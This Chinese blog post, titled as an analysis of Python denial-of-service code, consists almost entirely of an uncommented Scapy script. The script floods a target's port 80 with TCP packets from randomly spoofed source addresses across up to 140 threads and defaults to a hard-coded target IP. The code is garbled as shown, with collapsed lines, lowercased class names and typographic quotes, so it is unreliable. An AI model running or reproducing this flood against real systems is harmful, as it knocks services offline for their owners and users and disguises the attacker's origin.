分析python服务器拒绝服务攻击代码

代码如下:

# -*- coding: cp936 -*-from scapy.all import *from threading import thread,activecountfrom random import randint

class loop(thread): def __init__(self,remoteaddr): thread.__init__(self) self.remoteaddr = remoteaddr

def run(self): ip = str(randint(0,255))+’.’\ +str(randint(0,255))+’.’\ +str(randint(0,255))+’.’\ +str(randint(0,255)) sr1(ip(src = ip,dst = self.remoteaddr)/tcp(dport = 80),retry = 0,verbose = 0,timeout = 3)

class main(thread): def __init__(self,remoteaddr): thread.__init__(self) self.remoteaddr = remoteaddr

def run(self): limit = 140 total = 0 while true: if activecount() < limit: loop(remoteaddr = self.remoteaddr).start() total = total + 1 print '目前已经进行的httpflood的次数为:',total

if __name__ == ‘__main__’: remoteaddr = raw_input(‘ip=’) if remoteaddr == ”: remoteaddr = ‘202.103.25.12’ main(remoteaddr = remoteaddr).start()

Posted in 未分类

发表评论